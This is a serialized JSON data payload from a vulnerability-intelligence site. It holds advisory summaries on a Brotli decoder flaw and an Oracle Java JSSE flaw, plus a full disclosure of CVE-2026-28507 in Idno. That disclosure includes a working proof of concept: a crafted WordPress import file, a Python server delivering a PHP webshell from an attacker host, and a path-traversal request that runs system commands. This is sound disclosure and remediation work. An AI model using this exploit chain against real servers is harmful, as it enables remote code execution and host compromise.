[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-28507":30,"landing-articles":73},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":43,"references":46,"score":51,"epss_score":52,"epss_percentile":53,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":54,"attack_mappings":64,"exploits":71},14248,"CVE-2026-28507","EUVD-2026-9983","Idno Vulnerable to Remote Code Execution via Chained Import File Write and Template Path Traversal\n\n**Affected Versions:** Tested on current `dev` branch (build fingerprint `505[...]7bd86`)  \n**CVSS v4 Score:** 8.6 ([CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:H\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N](https:\u002F\u002Fwww.first.org\u002Fcvss\u002Fcalculator\u002F4.0#CVSS:4.0\u002FAV:N\u002FAC:L\u002FAT:N\u002FPR:H\u002FUI:N\u002FVC:H\u002FVI:H\u002FVA:H\u002FSC:N\u002FSI:N\u002FSA:N))\n**Privileges Required:** Web application admin account (for file write), any authenticated user (for RCE trigger)\n\n---\n\n## Summary\n\nTwo separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.\n\n---\n\n## Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)\n\n### Location\n\n`Idno\u002FCore\u002FMigration.php` — `importImagesFromBodyHTML()`\n\n### Required Privilege\n\nWeb application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).\n\n### Description\n\nWhen a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST \u002Fadmin\u002Fimport\u002F`, the application processes `\u003Cimg>` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.\n\nThe filename is constructed as:\n\n```php\n$name = md5($src);\n$newname = $dir . $name . basename($src);\n```\n\nWhere `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename — including one ending in `.tpl.php`.\n\nThe URL filter is:\n\n```php\nif (substr_count($src, $src_url)) {\n```\n\nWhere `$src_url` is the hardcoded string `'wordpress.com'`. This check uses `substr_count` rather than comparing the URL's hostname, so it passes for any URL that contains the string `wordpress.com` anywhere — including in a path component such as `http:\u002F\u002Fattacker.com\u002Fwordpress.com\u002Fshell.tpl.php`.\n\nThe file write itself is:\n\n```php\nif (@file_put_contents($newname, fopen($src, 'r'))) {\n```\n\n`fopen($src, 'r')` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:\n\n```php\nif ($file = File::createFromFile($newname, basename($src), $mime, true)) {\n    $newsrc = ...;\n    @unlink($newname);  \u002F\u002F only runs after file_put_contents returns\n}\n```\n\nBy holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.\n\nThe import endpoint itself adds an additional timing buffer:\n\n```php\n\u002F\u002F Idno\u002FPages\u002FAdmin\u002FImport.php\nsession_write_close();\n$this->forward(...);      \u002F\u002F HTTP response sent to browser here\nignore_user_abort(true);\nsleep(10);                \u002F\u002F 10 second delay before import runs\nset_time_limit(0);\nMigration::importWordPressXML($xml);\n```\n\nThe browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.\n\nThe resulting file is written to PHP's temp directory (typically `\u002Ftmp` from the PHP process's perspective, which on systemd-managed Apache is a private mount at `\u002Ftmp\u002Fsystemd-private-{id}-apache2.service-{id}\u002Ftmp\u002F`). The filename is predictable: `md5($full_url) . basename($url)`.\n\n### Prerequisites\n\n- Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)\n- `allow_url_fopen` must be enabled in PHP (required for `fopen($url, 'r')` on remote URLs — this is the PHP default)\n\n---\n\n## Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)\n\n### Location\n\n`Idno\u002FPages\u002FSearch\u002FUser.php` — `getContent()`\n`Idno\u002FCore\u002FBonita\u002FTemplates.php` — `draw()`\n\n### Required Privilege\n\nAny authenticated user (`gatekeeper()` only checks `isLoggedIn()`).\n\n### Description\n\nThe user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:\n\n```php\n\u002F\u002F Idno\u002FPages\u002FSearch\u002FUser.php\n$template = $this->getInput('template', 'forms\u002Fcomponents\u002Fusersearch\u002Fuser');\n\u002F\u002F ...\n$t = new \\Idno\\Core\\DefaultTemplate();\n$results['rendered'] .= $t->__(['user' => $user])->draw($template);\n```\n\nThe `draw()` method in `Idno\u002FCore\u002FBonita\u002FTemplates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:\n\n```php\nfunction draw($templateName, $returnBlank = true)\n{\n    $templateName = preg_replace('\u002F^_[A-Z0-9\\\u002F]+\u002Fi', '', $templateName);\n```\n\nThis regex does not strip `..\u002F` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:\n\n```php\n$path = $basepath . '\u002Ftemplates\u002F' . $templateType . '\u002F' . $templateName . '.tpl.php';\nif (file_exists($path)) {\n    $fn = (function ($path, $vars, $t) {\n        foreach ($vars as $k => $v) { ${$k} = $v; }\n        ob_start();\n        include $path;\n        return ob_get_clean();\n    });\n    return $fn($path, $this->vars, $this);\n}\n```\n\nBecause `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002F{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.\n\n### Template Type Behaviour\n\nThe `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `'default'`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed `$t` instance — and therefore has no effect on the include path used here. The template type component of the path is always `'default'` for this endpoint under normal conditions.\n\nThe full resolved include path for a desktop browser with `basepath = \u002Fvar\u002Fwww\u002Fhtml\u002Fidno` is therefore:\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fidno\u002Ftemplates\u002Fdefault\u002F{template}.tpl.php\n```\n\nSupplying `template=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002F{filename}` resolves to:\n\n```\n\u002Ftmp\u002F{filename}.tpl.php\n```\n\nBecause PHP's `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.\n\n---\n\n## Chained Attack Flow\n\n1. **Attacker controls a web server** serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.\n\n2. **Attacker constructs a WordPress WXR XML** with an `\u003Cimg>` tag whose `src` points to this URL.\n\n3. **Admin submits the XML** to `POST \u002Fadmin\u002Fimport\u002F` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.\n\n4. **`importImagesFromBodyHTML` is called.** The URL passes the `substr_count($src, 'wordpress.com')` check. `fopen($src, 'r')` connects to the attacker's server, which sends the PHP payload and holds the connection open.\n\n5. **`file_put_contents` writes the PHP payload to disk** at `\u002Ftmp\u002F{md5(url)}{basename(url)}` (e.g. `\u002Ftmp\u002F594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.\n\n6. **While the connection is held open**, any authenticated user sends:\n\n   ```\n   GET \u002Fsearch\u002Fusers\u002F?query=a&limit=1&template=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002F594ac6416712b71b978fa4659c4298c3shell&cmd=id\n   ```\n\n7. **`draw()` resolves the path** to `\u002Ftmp\u002F594ac6416712b71b978fa4659c4298c3shell.tpl.php`, finds the file exists, and `include`s it.\n\n8. **The included PHP file executes**, reads `$_GET['cmd']` from the superglobal, and passes it to `system()`. Output is captured by `ob_get_clean()` and returned in the `rendered` field of the JSON response.\n\n9. **Attacker closes the connection.** `file_put_contents` returns, `createFromFile` runs, `@unlink` removes the temp file. No persistent artifact remains.\n\n---\n\n## Proof of Concept\n\n1. Create a WXR file with the following content\n```xml\n\u003Crss version=\"2.0\"\n    xmlns:content=\"http:\u002F\u002Fpurl.org\u002Frss\u002F1.0\u002Fmodules\u002Fcontent\u002F\"\n    xmlns:wp=\"http:\u002F\u002Fwordpress.org\u002Fexport\u002F1.2\u002F\">\n    \u003Cchannel>\n      \u003Citem>\n        \u003Ctitle>Test Post\u003C\u002Ftitle>\n        \u003Cwp:post_type>post\u003C\u002Fwp:post_type>\n        \u003Cwp:status>publish\u003C\u002Fwp:status>\n        \u003Ccontent:encoded>\u003C![CDATA[\u003Cimg\n  src=\"http:\u002F\u002Fattacker-server-address\u002Fwordpress.com\u002Fshell.tpl.php\">]]>\u003C\u002Fcontent:encoded>\n      \u003C\u002Fitem>\n    \u003C\u002Fchannel>\n\u003C\u002Frss>\n```\n2. Run a server at `attacker-server-address` and host the file in path `wordpress.com\u002Fshell.tpl.php` such that fetching `http:\u002F\u002Fattacker-server-address\u002Fwordpress.com\u002Fshell.tpl.php` sends the command execution payload. \n\n```python\nimport http.server\nimport time\n\nPAYLOAD = b'\u003C?php system($_GET[\"cmd\"]); ?>'\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application\u002Foctet-stream\")\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n        self.wfile.flush()\n        print(f\"[*] Payload sent. Holding connection open...\")\n        time.sleep(45)  # hold connection open for 45s\n        print(f\"[*] Connection released\")\n\n    def log_message(self, fmt, *args):\n        print(fmt % args)\n\n\nhttp.server.HTTPServer((\"0.0.0.0\", 9876), Handler).serve_forever()\n```\n\n5. Import WXR from `http:\u002F\u002Fidno-address\u002Fadmin\u002Fimport\u002F` using the wordpress option.\n\n6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.\n\n7. Compute the md5 hash of payload URL `http:\u002F\u002Fattacker-server-address\u002Fwordpress.com\u002Fshell.tpl.php`. In my example this is `594ac6416712b71b978fa4659c4298c3`. This means the webshell file is `594ac6416712b71b978fa4659c4298c3shell.tpl.php` with content \n```php\n\u003C?php system($_GET[0]); ?>\n```\n\n8. Make this request as any authenticated user\n```\ncurl -k \\\n  -b \"idno=\u003Ccookie>\" \\\n  \"http:\u002F\u002Fidno-address\u002Fsearch\u002Fusers\u002F?query=a&limit=1&template=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Ftmp\u002F594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id\"\n\n```\n\n9. Observe that the respone will have the command executed in the `rendered` field\n```\n{\"count\":1,\"rendered\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\\n\"}\n```\n\n\nhttps:\u002F\u002Fgithub.com\u002Fuser-attachments\u002Fassets\u002F9f36ce0e-8f73-42ba-908d-eb91cc4879b4\n\n\n\n---\n\n## Impact\n\n- **Confidentiality:** Full read access to files accessible by the web server user\n- **Integrity:** Arbitrary command execution as the web server user\n- **Availability:** Complete compromise of the host running Idno\n\nAn attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.\n\n---\n\n## Root Causes\n\n| Location | Issue |\n|---|---|\n| `Migration.php:importImagesFromBodyHTML` | `basename($url)` used as filename with no extension restriction |\n| `Migration.php:importImagesFromBodyHTML` | `substr_count` hostname check trivially bypassed by embedding `wordpress.com` in URL path |\n| `Migration.php:importImagesFromBodyHTML` | Outbound `fopen()` to attacker-controlled URL with no SSRF mitigation |\n| `Pages\u002FSearch\u002FUser.php` | `template` parameter passed to `draw()` without sanitization |\n| `Core\u002FBonita\u002FTemplates.php:draw()` | Regex strips only `^_[A-Z0-9\u002F]+` prefix — does not restrict `..\u002F` or path separators |\n\n---\n\n## Recommended Fixes\n\n1. **Restrict allowed template name characters** in `draw()` to an allowlist such as `^[a-z0-9\u002F_-]+$`, rejecting any name containing `..` or beginning with `\u002F`.\n\n2. **Validate the extension of files written by `importImagesFromBodyHTML`** against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.\n\n3. **Validate the hostname of image URLs** in `importImagesFromBodyHTML` against the source domain rather than using `substr_count`, which does not distinguish hostname from path.\n\n4. **Use `tempnam()`** for temp files in the import flow rather than constructing filenames from user-controlled URL components.","2026-03-02T21:26:00Z",{},false,[39],"CWE-78",[41,42],"cpe:2.3:a:withknown:known:*:*:*:*:*:*:*:*","cpe:2.3:a:idno:known:*:*:*:*:*:*:*:*",[44,45],"Withknown Known","Idno Known",[47,48,49,50],"https:\u002F\u002Fgithub.com\u002Fidno\u002Fidno\u002Freleases\u002Ftag\u002F1.6.4","https:\u002F\u002Fgithub.com\u002Fidno\u002Fidno\u002Fsecurity\u002Fadvisories\u002FGHSA-37j7-56xc-c468","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-28507","https:\u002F\u002Fgithub.com\u002Fidno\u002Fidno",0,0.007,0.52899,{"timestamp":55,"automatable":56,"tech_impact":57,"exploitation":58,"cisa_decision":59,"cisa_remediation_timeline":63},"2026-03-06T15:58:17.703660Z","no","total","none",{"vector":60,"decision":61,"priority":62},"CISAv1\u002FE:N\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T02:04:55.382795\u002F","track_star","medium","14D",[65],{"name":66,"source":67,"tactics":68,"technique_id":70},"Exploit Public-Facing Application","attack_vector",[69],"initial-access","T1190",[72],{"link":48},{"count":74,"next":75,"previous":6,"results":76},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[77,85,93],{"id":78,"title":79,"summary":80,"published_at":81,"type":82,"link":83,"image_url":84},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]